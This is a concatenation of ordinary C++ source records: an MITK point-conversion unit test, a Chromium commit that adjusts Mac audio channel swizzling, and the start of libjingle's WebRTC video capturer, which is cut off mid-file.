 CPPUNIT_TEST_SUITE_END();\n\nprivate:\n\n  vtkSmartPointer<vtkPoints>   a_vtkPoints;\n  ScalarType originalValues[3];\n  ScalarType valuesToCopy[3];\n\n\npublic:\n\n\n  void setUp(void)\n  {\n    FillVector3D(originalValues, 1.0, 2.0, 3.0);\n    FillVector3D(valuesToCopy,   4.0, 5.0, 6.0);\n\n    a_vtkPoints = vtkSmartPointer<vtkPoints>::New();\n    a_vtkPoints->Initialize();\n  }\n\n  void tearDown(void)\n  {\n \/\/   a_vtkPoints = NULL;\n  }\n\n\n  \/**\n   * @brief Convenience method to test if one vector has been assigned successfully to the other.\n   *\n   * More specifically, tests if v1 = v2 was performed correctly.\n   *\n   * @param v1    The vector v1 of the assignment v1 = v2\n   * @param v2    The vector v2 of the assignment v1 = v2\n   * @param v1Name        The type name of v1 (e.g.: mitk::Vector3D). Necessary for the correct test output.\n   * @param v2Name        The type name of v2 (e.g.: mitk::Vector3D). Necessary for the correct test output.\n  *  @param eps   defines the allowed tolerance when testing for equality.\n   *\/\n  template <typename T1, typename T2>\n  void TestForEquality(T1 v1, T2 v2, std::string v1Name, std::string v2Name, ScalarType eps = mitk::eps)\n  {\n    CPPUNIT_ASSERT_ASSERTION_PASS_MESSAGE(\"\\nAssigning \" + v2Name  + \" to \" + v1Name + \":\\n both are equal\", EqualArray(v1, v2, 3, eps));\n  }\n\n\n\n  void Mitk2Itk_PointCompatibility()\n  {\n    itk::Point<ScalarType, 3> itkPoint3D = originalValues;\n    mitk::Point3D             point3D    = valuesToCopy;\n\n    itkPoint3D = point3D;\n\n    TestForEquality(itkPoint3D, point3D, \"itk::Point\", \"mitk:Point\");\n  }\n\n\n  void Itk2Mitk_PointCompatibility()\n  {\n    mitk::Point3D point3D                = originalValues;\n    itk::Point<ScalarType, 3> itkPoint3D = valuesToCopy;\n\n    point3D = itkPoint3D;\n\n    TestForEquality(point3D, itkPoint3D, \"mitk:Point\", \"itk::Point\");\n  }\n\n\n  void Vtk2Mitk_PointCompatibility()\n  {\n    mitk::Point3D point3D = originalValues;\n    a_vtkPoints->InsertNextPoint(valuesToCopy);\n    double vtkPoint[3];\n    a_vtkPoints->GetPoint(0, vtkPoint);\n\n    point3D = vtkPoint;\n\n    TestForEquality(point3D, vtkPoint, \"mitk:Point\", \"vtkPoint\");\n\n  }\n\n\n  void Mitk2Pod_PointCompatibility()\n  {\n    ScalarType podPoint[] = {1.0, 2.0, 3.0};\n    mitk::Point3D point3D = valuesToCopy;\n\n    point3D.ToArray(podPoint);\n\n    TestForEquality(podPoint, point3D, \"POD point\", \"mitk::Point\");\n\n  }\n\n  void Pod2Mitk_PointCompatibility()\n  {\n    itk::Point<double, 3> point3D = originalValues;\n    ScalarType podPoint[] = {4.0, 5.0, 6.0};\n\n    point3D = podPoint;\n\n    TestForEquality(point3D, podPoint, \"mitk::Point3D\", \"POD point\");\n  }\n\n\n  void Vector2Point()\n  {\n    itk::Point<double, 3> point3D   = valuesToCopy;\n    itk::Vector<double, 3> vector3D = originalValues;\n\n    point3D = vector3D;\n\n    TestForEquality(point3D, vector3D, \"mitk::Point\", \"mitk::Vector\");\n  }\n\n};\n\n\nMITK_TEST_SUITE_REGISTRATION(mitkPointTypeConversion)\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"media\/audio\/mac\/audio_manager_mac.h\"\n#include \"media\/audio\/mac\/audio_output_mac.h\"\n\n#include \"base\/basictypes.h\"\n#include \"base\/logging.h\"\n#include \"media\/audio\/audio_util.h\"\n\n\/\/ Overview of operation:\n\/\/ 1) An object of PCMQueueOutAudioOutputStream is created by the AudioManager\n\/\/ factory: audio_man->MakeAudioStream(). This just fills some structure.\n\/\/ 2) Next some thread will call Open(), at that point the underliying OS\n\/\/ queue is created and the audio buffers allocated.\n\/\/ 3) Then some thread will call Start(source) At this point the source will be\n\/\/ called to fill the initial buffers in the context of that same thread.\n\/\/ Then the OS queue is started which will create its own thread which\n\/\/ periodically will call the source for more data as buffers are being\n\/\/ consumed.\n\/\/ 4) At some point some thread will call Stop(), which we handle by directly\n\/\/ stoping the OS queue.\n\/\/ 5) One more callback to the source could be delivered in in the context of\n\/\/ the queue's own thread. Data, if any will be discared.\n\/\/ 6) The same thread that called stop will call Close() where we cleanup\n\/\/ and notifiy the audio manager, which likley will destroy this object.\n\n#if !defined(MAC_OS_X_VERSION_10_6) || \\\n    MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_6\nenum {\n  kAudioQueueErr_EnqueueDuringReset = -66632\n};\n#endif\n\nPCMQueueOutAudioOutputStream::PCMQueueOutAudioOutputStream(\n    AudioManagerMac* manager, int channels, int sampling_rate,\n    char bits_per_sample)\n        : format_(),\n          audio_queue_(NULL),\n          buffer_(),\n          source_(NULL),\n          manager_(manager),\n          silence_bytes_(0),\n          volume_(1),\n          pending_bytes_(0) {\n  \/\/ We must have a manager.\n  DCHECK(manager_);\n  \/\/ A frame is one sample across all channels. In interleaved audio the per\n  \/\/ frame fields identify the set of n |channels|. In uncompressed audio, a\n  \/\/ packet is always one frame.\n  format_.mSampleRate = sampling_rate;\n  format_.mFormatID = kAudioFormatLinearPCM;\n  format_.mFormatFlags = kLinearPCMFormatFlagIsPacked |\n                         kLinearPCMFormatFlagIsSignedInteger;\n  format_.mBitsPerChannel = bits_per_sample;\n  format_.mChannelsPerFrame = channels;\n  format_.mFramesPerPacket = 1;\n  format_.mBytesPerPacket = (format_.mBitsPerChannel * channels) \/ 8;\n  format_.mBytesPerFrame = format_.mBytesPerPacket;\n\n  \/\/ Silence buffer has a duration of 6ms to simulate the behavior of Windows.\n  \/\/ This value is choosen by experiments and macs cannot keep up with\n  \/\/ anything less than 6ms.\n  silence_bytes_ = format_.mBytesPerFrame * sampling_rate * 6 \/ 1000;\n}\n\nPCMQueueOutAudioOutputStream::~PCMQueueOutAudioOutputStream() {\n}\n\nvoid PCMQueueOutAudioOutputStream::HandleError(OSStatus err) {\n  \/\/ source_ can be set to NULL from another thread. We need to cache its\n  \/\/ pointer while we operate here. Note that does not mean that the source\n  \/\/ has been destroyed.\n  AudioSourceCallback* source = source_;\n  if (source)\n    source->OnError(this, static_cast<int>(err));\n  NOTREACHED() << \"error code \" << err;\n}\n\nbool PCMQueueOutAudioOutputStream::Open(size_t packet_size) {\n  if (0 == packet_size) {\n    \/\/ TODO(cpu) : Impelement default buffer computation.\n    return false;\n  }\n  \/\/ Create the actual queue object and let the OS use its own thread to\n  \/\/ run its CFRunLoop.\n  OSStatus err = AudioQueueNewOutput(&format_, RenderCallback, this, NULL,\n                                     kCFRunLoopCommonModes, 0, &audio_queue_);\n  if (err != noErr) {\n    HandleError(err);\n    return false;\n  }\n  \/\/ Allocate the hardware-managed buffers.\n  for (size_t ix = 0; ix != kNumBuffers; ++ix) {\n    err = AudioQueueAllocateBuffer(audio_queue_, packet_size, &buffer_[ix]);\n    if (err != noErr) {\n      HandleError(err);\n      return false;\n    }\n  }\n  \/\/ Set initial volume here.\n  err = AudioQueueSetParameter(audio_queue_, kAudioQueueParam_Volume, 1.0);\n  if (err != noErr) {\n    HandleError(err);\n    return false;\n  }\n  return true;\n}\n\nvoid PCMQueueOutAudioOutputStream::Close() {\n  \/\/ It is valid to call Close() before calling Open(), thus audio_queue_\n  \/\/ might be NULL.\n  if (audio_queue_) {\n    OSStatus err = 0;\n    for (size_t ix = 0; ix != kNumBuffers; ++ix) {\n      if (buffer_[ix]) {\n        err = AudioQueueFreeBuffer(audio_queue_, buffer_[ix]);\n        if (err != noErr) {\n          HandleError(err);\n          break;\n        }\n      }\n    }\n    err = AudioQueueDispose(audio_queue_, true);\n    if (err != noErr)\n      HandleError(err);\n  }\n  \/\/ Inform the audio manager that we have been closed. This can cause our\n  \/\/ destruction.\n  manager_->ReleaseStream(this);\n}\n\nvoid PCMQueueOutAudioOutputStream::Stop() {\n  \/\/ We request a synchronous stop, so the next call can take some time. In\n  \/\/ the windows implementation we block here as well.\n  source_ = NULL;\n  \/\/ We set the source to null to signal to the data queueing thread it can stop\n  \/\/ queueing data, however at most one callback might still be in flight which\n  \/\/ could attempt to enqueue right after the next call. Rather that trying to\n  \/\/ use a lock we rely on the internal Mac queue lock so the enqueue might\n  \/\/ succeed or might fail but it won't crash or leave the queue itself in an\n  \/\/ inconsistent state.\n  OSStatus err = AudioQueueStop(audio_queue_, true);\n  if (err != noErr)\n    HandleError(err);\n}\n\nvoid PCMQueueOutAudioOutputStream::SetVolume(double left_level,\n                                             double ) {\n  if (!audio_queue_)\n    return;\n  volume_ = static_cast<float>(left_level);\n  OSStatus err = AudioQueueSetParameter(audio_queue_,\n                                        kAudioQueueParam_Volume,\n                                        left_level);\n  if (err != noErr) {\n    HandleError(err);\n  }\n}\n\nvoid PCMQueueOutAudioOutputStream::GetVolume(double* left_level,\n                                             double* right_level) {\n  if (!audio_queue_)\n    return;\n  *left_level = volume_;\n  *right_level = volume_;\n}\n\n\/\/ Reorder PCM from AAC layout to Core Audio layout.\n\/\/ TODO(fbarchard): Switch layout when ffmpeg is updated.\nconst int kNumSurroundChannels = 6;\ntemplate<class Format>\nstatic void SwizzleLayout(Format *b, size_t filled) {\n  Format aac[kNumSurroundChannels];\n  for (size_t i = 0; i < filled; i += sizeof(aac), b += kNumSurroundChannels) {\n    memcpy(aac, b, sizeof(aac));\n    b[0] = aac[1];  \/\/ L\n    b[1] = aac[2];  \/\/ R\n    b[2] = aac[0];  \/\/ C\n    b[3] = aac[5];  \/\/ LFE\n    b[4] = aac[3];  \/\/ Ls\n    b[5] = aac[4];  \/\/ Rs\n  }\n}\n\n\/\/ Note to future hackers of this function: Do not add locks here because we\n\/\/ call out to third party source that might do crazy things including adquire\n\/\/ external locks or somehow re-enter here because its legal for them to call\n\/\/ some audio functions.\nvoid PCMQueueOutAudioOutputStream::RenderCallback(void* p_this,\n                                                  AudioQueueRef queue,\n                                                  AudioQueueBufferRef buffer) {\n  PCMQueueOutAudioOutputStream* audio_stream =\n      static_cast<PCMQueueOutAudioOutputStream*>(p_this);\n  \/\/ Call the audio source to fill the free buffer with data. Not having a\n  \/\/ source means that the queue has been closed. This is not an error.\n  AudioSourceCallback* source = audio_stream->source_;\n  if (!source)\n    return;\n\n  \/\/ Adjust the number of pending bytes by subtracting the amount played.\n  audio_stream->pending_bytes_ -= buffer->mAudioDataByteSize;\n  size_t capacity = buffer->mAudioDataBytesCapacity;\n  size_t filled = source->OnMoreData(audio_stream, buffer->mAudioData,\n                                     capacity, audio_stream->pending_bytes_);\n\n  \/\/ In order to keep the callback running, we need to provide a positive amount\n  \/\/ of data to the audio queue. To simulate the behavior of Windows, we write\n  \/\/ a buffer of silence.\n  if (!filled) {\n    CHECK(audio_stream->silence_bytes_ <= static_cast<int>(capacity));\n    filled = audio_stream->silence_bytes_;\n    memset(buffer->mAudioData, 0, filled);\n  } else if (filled > capacity) {\n    \/\/ User probably overran our buffer.\n    audio_stream->HandleError(0);\n    return;\n  }\n\n  \/\/ Handle channel order for PCM 5.1 audio.\n  if (audio_stream->format_.mChannelsPerFrame == 6) {\n    if (audio_stream->format_.mBitsPerChannel == 8) {\n      SwizzleLayout(reinterpret_cast<uint8*>(buffer->mAudioData), filled);\n    } else if (audio_stream->format_.mBitsPerChannel == 16) {\n      SwizzleLayout(reinterpret_cast<int16*>(buffer->mAudioData), filled);\n    } else if (audio_stream->format_.mBitsPerChannel == 32) {\n      SwizzleLayout(reinterpret_cast<int32*>(buffer->mAudioData), filled);\n    }\n  }\n\n  buffer->mAudioDataByteSize = filled;\n  \/\/ Incremnet bytes by amount filled into audio buffer.\n  audio_stream->pending_bytes_ += filled;\n  if (NULL == queue)\n    return;\n  \/\/ Queue the audio data to the audio driver.\n  OSStatus err = AudioQueueEnqueueBuffer(queue, buffer, 0, NULL);\n  if (err != noErr) {\n    if (err == kAudioQueueErr_EnqueueDuringReset) {\n      \/\/ This is the error you get if you try to enqueue a buffer and the\n      \/\/ queue has been closed. Not really a problem if indeed the queue\n      \/\/ has been closed.\n      if (!audio_stream->source_)\n        return;\n    }\n    audio_stream->HandleError(err);\n  }\n}\n\nvoid PCMQueueOutAudioOutputStream::Start(AudioSourceCallback* callback) {\n  DCHECK(callback);\n  OSStatus err = noErr;\n  source_ = callback;\n  pending_bytes_ = 0;\n  \/\/ Ask the source to pre-fill all our buffers before playing.\n  for (size_t ix = 0; ix != kNumBuffers; ++ix) {\n    buffer_[ix]->mAudioDataByteSize = 0;\n    RenderCallback(this, NULL, buffer_[ix]);\n  }\n  \/\/ Queue the buffers to the audio driver, sounds starts now.\n  for (size_t ix = 0; ix != kNumBuffers; ++ix) {\n    err = AudioQueueEnqueueBuffer(audio_queue_, buffer_[ix], 0, NULL);\n    if (err != noErr) {\n      HandleError(err);\n      return;\n    }\n  }\n  err  = AudioQueueStart(audio_queue_, NULL);\n  if (err != noErr) {\n    HandleError(err);\n    return;\n  }\n}\n\n<commit_msg>Support 8 and 32 bit formats for Mac Channel Swizzler.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"media\/audio\/mac\/audio_manager_mac.h\"\n#include \"media\/audio\/mac\/audio_output_mac.h\"\n\n#include \"base\/basictypes.h\"\n#include \"base\/logging.h\"\n#include \"media\/audio\/audio_util.h\"\n\n\/\/ Overview of operation:\n\/\/ 1) An object of PCMQueueOutAudioOutputStream is created by the AudioManager\n\/\/ factory: audio_man->MakeAudioStream(). This just fills some structure.\n\/\/ 2) Next some thread will call Open(), at that point the underliying OS\n\/\/ queue is created and the audio buffers allocated.\n\/\/ 3) Then some thread will call Start(source) At this point the source will be\n\/\/ called to fill the initial buffers in the context of that same thread.\n\/\/ Then the OS queue is started which will create its own thread which\n\/\/ periodically will call the source for more data as buffers are being\n\/\/ consumed.\n\/\/ 4) At some point some thread will call Stop(), which we handle by directly\n\/\/ stoping the OS queue.\n\/\/ 5) One more callback to the source could be delivered in in the context of\n\/\/ the queue's own thread. Data, if any will be discared.\n\/\/ 6) The same thread that called stop will call Close() where we cleanup\n\/\/ and notifiy the audio manager, which likley will destroy this object.\n\n#if !defined(MAC_OS_X_VERSION_10_6) || \\\n    MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_6\nenum {\n  kAudioQueueErr_EnqueueDuringReset = -66632\n};\n#endif\n\nPCMQueueOutAudioOutputStream::PCMQueueOutAudioOutputStream(\n    AudioManagerMac* manager, int channels, int sampling_rate,\n    char bits_per_sample)\n        : format_(),\n          audio_queue_(NULL),\n          buffer_(),\n          source_(NULL),\n          manager_(manager),\n          silence_bytes_(0),\n          volume_(1),\n          pending_bytes_(0) {\n  \/\/ We must have a manager.\n  DCHECK(manager_);\n  \/\/ A frame is one sample across all channels. In interleaved audio the per\n  \/\/ frame fields identify the set of n |channels|. In uncompressed audio, a\n  \/\/ packet is always one frame.\n  format_.mSampleRate = sampling_rate;\n  format_.mFormatID = kAudioFormatLinearPCM;\n  format_.mFormatFlags = kLinearPCMFormatFlagIsPacked |\n                         kLinearPCMFormatFlagIsSignedInteger;\n  format_.mBitsPerChannel = bits_per_sample;\n  format_.mChannelsPerFrame = channels;\n  format_.mFramesPerPacket = 1;\n  format_.mBytesPerPacket = (format_.mBitsPerChannel * channels) \/ 8;\n  format_.mBytesPerFrame = format_.mBytesPerPacket;\n\n  \/\/ Silence buffer has a duration of 6ms to simulate the behavior of Windows.\n  \/\/ This value is choosen by experiments and macs cannot keep up with\n  \/\/ anything less than 6ms.\n  silence_bytes_ = format_.mBytesPerFrame * sampling_rate * 6 \/ 1000;\n}\n\nPCMQueueOutAudioOutputStream::~PCMQueueOutAudioOutputStream() {\n}\n\nvoid PCMQueueOutAudioOutputStream::HandleError(OSStatus err) {\n  \/\/ source_ can be set to NULL from another thread. We need to cache its\n  \/\/ pointer while we operate here. Note that does not mean that the source\n  \/\/ has been destroyed.\n  AudioSourceCallback* source = source_;\n  if (source)\n    source->OnError(this, static_cast<int>(err));\n  NOTREACHED() << \"error code \" << err;\n}\n\nbool PCMQueueOutAudioOutputStream::Open(size_t packet_size) {\n  if (0 == packet_size) {\n    \/\/ TODO(cpu) : Impelement default buffer computation.\n    return false;\n  }\n  \/\/ Create the actual queue object and let the OS use its own thread to\n  \/\/ run its CFRunLoop.\n  OSStatus err = AudioQueueNewOutput(&format_, RenderCallback, this, NULL,\n                                     kCFRunLoopCommonModes, 0, &audio_queue_);\n  if (err != noErr) {\n    HandleError(err);\n    return false;\n  }\n  \/\/ Allocate the hardware-managed buffers.\n  for (size_t ix = 0; ix != kNumBuffers; ++ix) {\n    err = AudioQueueAllocateBuffer(audio_queue_, packet_size, &buffer_[ix]);\n    if (err != noErr) {\n      HandleError(err);\n      return false;\n    }\n  }\n  \/\/ Set initial volume here.\n  err = AudioQueueSetParameter(audio_queue_, kAudioQueueParam_Volume, 1.0);\n  if (err != noErr) {\n    HandleError(err);\n    return false;\n  }\n  return true;\n}\n\nvoid PCMQueueOutAudioOutputStream::Close() {\n  \/\/ It is valid to call Close() before calling Open(), thus audio_queue_\n  \/\/ might be NULL.\n  if (audio_queue_) {\n    OSStatus err = 0;\n    for (size_t ix = 0; ix != kNumBuffers; ++ix) {\n      if (buffer_[ix]) {\n        err = AudioQueueFreeBuffer(audio_queue_, buffer_[ix]);\n        if (err != noErr) {\n          HandleError(err);\n          break;\n        }\n      }\n    }\n    err = AudioQueueDispose(audio_queue_, true);\n    if (err != noErr)\n      HandleError(err);\n  }\n  \/\/ Inform the audio manager that we have been closed. This can cause our\n  \/\/ destruction.\n  manager_->ReleaseStream(this);\n}\n\nvoid PCMQueueOutAudioOutputStream::Stop() {\n  \/\/ We request a synchronous stop, so the next call can take some time. In\n  \/\/ the windows implementation we block here as well.\n  source_ = NULL;\n  \/\/ We set the source to null to signal to the data queueing thread it can stop\n  \/\/ queueing data, however at most one callback might still be in flight which\n  \/\/ could attempt to enqueue right after the next call. Rather that trying to\n  \/\/ use a lock we rely on the internal Mac queue lock so the enqueue might\n  \/\/ succeed or might fail but it won't crash or leave the queue itself in an\n  \/\/ inconsistent state.\n  OSStatus err = AudioQueueStop(audio_queue_, true);\n  if (err != noErr)\n    HandleError(err);\n}\n\nvoid PCMQueueOutAudioOutputStream::SetVolume(double left_level,\n                                             double ) {\n  if (!audio_queue_)\n    return;\n  volume_ = static_cast<float>(left_level);\n  OSStatus err = AudioQueueSetParameter(audio_queue_,\n                                        kAudioQueueParam_Volume,\n                                        left_level);\n  if (err != noErr) {\n    HandleError(err);\n  }\n}\n\nvoid PCMQueueOutAudioOutputStream::GetVolume(double* left_level,\n                                             double* right_level) {\n  if (!audio_queue_)\n    return;\n  *left_level = volume_;\n  *right_level = volume_;\n}\n\n\/\/ Reorder PCM from AAC layout to Core Audio layout.\n\/\/ TODO(fbarchard): Switch layout when ffmpeg is updated.\nnamespace {\ntemplate<class Format>\nstatic void SwizzleLayout(Format *b, size_t filled) {\n  static const int kNumSurroundChannels = 6;\n  Format aac[kNumSurroundChannels];\n  for (size_t i = 0; i < filled; i += sizeof(aac), b += kNumSurroundChannels) {\n    memcpy(aac, b, sizeof(aac));\n    b[0] = aac[1];  \/\/ L\n    b[1] = aac[2];  \/\/ R\n    b[2] = aac[0];  \/\/ C\n    b[3] = aac[5];  \/\/ LFE\n    b[4] = aac[3];  \/\/ Ls\n    b[5] = aac[4];  \/\/ Rs\n  }\n}\n}  \/\/ namespace\n\n\/\/ Note to future hackers of this function: Do not add locks here because we\n\/\/ call out to third party source that might do crazy things including adquire\n\/\/ external locks or somehow re-enter here because its legal for them to call\n\/\/ some audio functions.\nvoid PCMQueueOutAudioOutputStream::RenderCallback(void* p_this,\n                                                  AudioQueueRef queue,\n                                                  AudioQueueBufferRef buffer) {\n  PCMQueueOutAudioOutputStream* audio_stream =\n      static_cast<PCMQueueOutAudioOutputStream*>(p_this);\n  \/\/ Call the audio source to fill the free buffer with data. Not having a\n  \/\/ source means that the queue has been closed. This is not an error.\n  AudioSourceCallback* source = audio_stream->source_;\n  if (!source)\n    return;\n\n  \/\/ Adjust the number of pending bytes by subtracting the amount played.\n  audio_stream->pending_bytes_ -= buffer->mAudioDataByteSize;\n  size_t capacity = buffer->mAudioDataBytesCapacity;\n  size_t filled = source->OnMoreData(audio_stream, buffer->mAudioData,\n                                     capacity, audio_stream->pending_bytes_);\n\n  \/\/ In order to keep the callback running, we need to provide a positive amount\n  \/\/ of data to the audio queue. To simulate the behavior of Windows, we write\n  \/\/ a buffer of silence.\n  if (!filled) {\n    CHECK(audio_stream->silence_bytes_ <= static_cast<int>(capacity));\n    filled = audio_stream->silence_bytes_;\n    memset(buffer->mAudioData, 0, filled);\n  } else if (filled > capacity) {\n    \/\/ User probably overran our buffer.\n    audio_stream->HandleError(0);\n    return;\n  }\n\n  \/\/ Handle channel order for 5.1 audio.\n  if (audio_stream->format_.mChannelsPerFrame == 6) {\n    if (audio_stream->format_.mBitsPerChannel == 8) {\n      SwizzleLayout(reinterpret_cast<uint8*>(buffer->mAudioData), filled);\n    } else if (audio_stream->format_.mBitsPerChannel == 16) {\n      SwizzleLayout(reinterpret_cast<int16*>(buffer->mAudioData), filled);\n    } else if (audio_stream->format_.mBitsPerChannel == 32) {\n      SwizzleLayout(reinterpret_cast<int32*>(buffer->mAudioData), filled);\n    }\n  }\n\n  buffer->mAudioDataByteSize = filled;\n  \/\/ Incremnet bytes by amount filled into audio buffer.\n  audio_stream->pending_bytes_ += filled;\n  if (NULL == queue)\n    return;\n  \/\/ Queue the audio data to the audio driver.\n  OSStatus err = AudioQueueEnqueueBuffer(queue, buffer, 0, NULL);\n  if (err != noErr) {\n    if (err == kAudioQueueErr_EnqueueDuringReset) {\n      \/\/ This is the error you get if you try to enqueue a buffer and the\n      \/\/ queue has been closed. Not really a problem if indeed the queue\n      \/\/ has been closed.\n      if (!audio_stream->source_)\n        return;\n    }\n    audio_stream->HandleError(err);\n  }\n}\n\nvoid PCMQueueOutAudioOutputStream::Start(AudioSourceCallback* callback) {\n  DCHECK(callback);\n  OSStatus err = noErr;\n  source_ = callback;\n  pending_bytes_ = 0;\n  \/\/ Ask the source to pre-fill all our buffers before playing.\n  for (size_t ix = 0; ix != kNumBuffers; ++ix) {\n    buffer_[ix]->mAudioDataByteSize = 0;\n    RenderCallback(this, NULL, buffer_[ix]);\n  }\n  \/\/ Queue the buffers to the audio driver, sounds starts now.\n  for (size_t ix = 0; ix != kNumBuffers; ++ix) {\n    err = AudioQueueEnqueueBuffer(audio_queue_, buffer_[ix], 0, NULL);\n    if (err != noErr) {\n      HandleError(err);\n      return;\n    }\n  }\n  err  = AudioQueueStart(audio_queue_, NULL);\n  if (err != noErr) {\n    HandleError(err);\n    return;\n  }\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ libjingle\n\/\/ Copyright 2011 Google Inc.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/  1. Redistributions of source code must retain the above copyright notice,\n\/\/     this list of conditions and the following disclaimer.\n\/\/  2. Redistributions in binary form must reproduce the above copyright notice,\n\/\/     this list of conditions and the following disclaimer in the documentation\n\/\/     and\/or other materials provided with the distribution.\n\/\/  3. The name of the author may not be used to endorse or promote products\n\/\/     derived from this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED\n\/\/ WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n\/\/ MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO\n\/\/ EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n\/\/ OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n\/\/ WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n\/\/ OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n\/\/ ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/ Implementation of class WebRtcVideoCapturer.\n\n#include \"talk\/media\/webrtc\/webrtcvideocapturer.h\"\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#ifdef HAVE_WEBRTC_VIDEO\n#include \"talk\/base\/criticalsection.h\"\n#include \"talk\/base\/logging.h\"\n#include \"talk\/base\/thread.h\"\n#include \"talk\/base\/timeutils.h\"\n#include \"talk\/media\/webrtc\/webrtcvideoframe.h\"\n\n#include \"talk\/base\/win32.h\"  \/\/ Need this to #include the impl files.\n#include \"webrtc\/modules\/video_capture\/include\/video_capture_factory.h\"\n\nnamespace cricket {\n\nstruct kVideoFourCCEntry {\n  uint32 fourcc;\n  webrtc::RawVideoType webrtc_type;\n};\n\n\/\/ This indicates our format preferences and defines a mapping between\n\/\/ webrtc::RawVideoType (from video_capture_defines.h) to our FOURCCs.\nstatic kVideoFourCCEntry kSupportedFourCCs[] = {\n  { FOURCC_I420, webrtc::kVideoI420 },   \/\/ 12 bpp, no conversion.\n  { FOURCC_YV12, webrtc::kVideoYV12 },   \/\/ 12 bpp, no conversion.\n  { FOURCC_NV12, webrtc::kVideoNV12 },   \/\/ 12 bpp, fast conversion.\n  { FOURCC_NV21, webrtc::kVideoNV21 },   \/\/ 12 bpp, fast conversion.\n  { FOURCC_YUY2, webrtc::kVideoYUY2 },   \/\/ 16 bpp, fast conversion.\n  { FOURCC_UYVY, webrtc::kVideoUYVY },   \/\/ 16 bpp, fast conversion.\n  { FOURCC_MJPG, webrtc::kVideoMJPEG },  \/\/ compressed, slow conversion.\n  { FOURCC_ARGB, webrtc::kVideoARGB },   \/\/ 32 bpp, slow conversion.\n  { FOURCC_24BG, webrtc::kVideoRGB24 },  \/\/ 24 bpp, slow conversion.\n};\n\nclass WebRtcVcmFactory : public WebRtcVcmFactoryInterface {\n public:\n  virtual webrtc::VideoCaptureModule* Create(int id, const char* device) {\n    return webrtc::VideoCaptureFactory::Create(id, device);\n  }\n  virtual webrtc::VideoCaptureModule::DeviceInfo* CreateDeviceInfo(int id) {\n    return webrtc::VideoCaptureFactory::CreateDeviceInfo(id);\n  }\n  virtual void DestroyDeviceInfo(webrtc::VideoCaptureModule::DeviceInfo* info) {\n    delete info;\n  }\n};\n\nstatic bool CapabilityToFormat(const webrtc::VideoCaptureCapability& cap,\n                               VideoFormat* format) {\n  uint32 fourcc = 0;\n  for (size_t i = 0; i < ARRAY_SIZE(kSupportedFourCCs); ++i) {\n    if (kSupportedFourCCs[i].webrtc_type == cap.rawType) {\n      fourcc = kSupportedFourCCs[i].fourcc;\n      break;\n    }\n  }\n  if (fourcc == 0) {\n    return false;\n  }\n\n  format->fourcc = fourcc;\n  format->width = cap.width;\n  format->height = cap.height;\n  format->interval = VideoFormat::FpsToInterval(cap.maxFPS);\n  return true;\n}\n\nstatic bool FormatToCapability(const VideoFormat& format,\n                               webrtc::VideoCaptureCapability* cap) {\n  webrtc::RawVideoType webrtc_type = webrtc::kVideoUnknown;\n  for (size_t i = 0; i < ARRAY_SIZE(kSupportedFourCCs); ++i) {\n    if (kSupportedFourCCs[i].fourcc == format.fourcc) {\n      webrtc_type = kSupportedFourCCs[i].webrtc_type;\n      break;\n    }\n  }\n  if (webrtc_type == webrtc::kVideoUnknown) {\n    return false;\n  }\n\n  cap->width = format.width;\n  cap->height = format.height;\n  cap->maxFPS = VideoFormat::IntervalToFps(format.interval);\n  cap->expectedCaptureDelay = 0;\n  cap->rawType = webrtc_type;\n  cap->codecType = webrtc::kVideoCodecUnknown;\n  cap->interlaced = false;\n  return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Implementation of class WebRtcVideoCapturer\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nWebRtcVideoCapturer::WebRtcVideoCapturer()\n    : factory_(new WebRtcVcmFactory),\n      module_(NULL),\n      captured_frames_(0) {\n}\n\nWebRtcVideoCapturer::WebRtcVideoCapturer(WebRtcVcmFactoryInterface* factory)\n    : factory_(factory),\n      module_(NULL),\n      captured_frames_(0) {\n}\n\nWebRtcVideoCapturer::~WebRtcVideoCapturer() {\n  if (module_) {\n    module_->Release();\n  }\n}\n\nbool WebRtcVideoCapturer::Init(const Device& device) {\n  if (module_) {\n    LOG(LS_ERROR) << \"The capturer is already initialized\";\n    return false;\n  }\n\n  webrtc::VideoCaptureModule::DeviceInfo* info = factory_->CreateDeviceInfo(0);\n  if (!info) {\n    return false;\n  }\n\n  \/\/ Find the desired camera, by name.\n  \/\/ In the future, 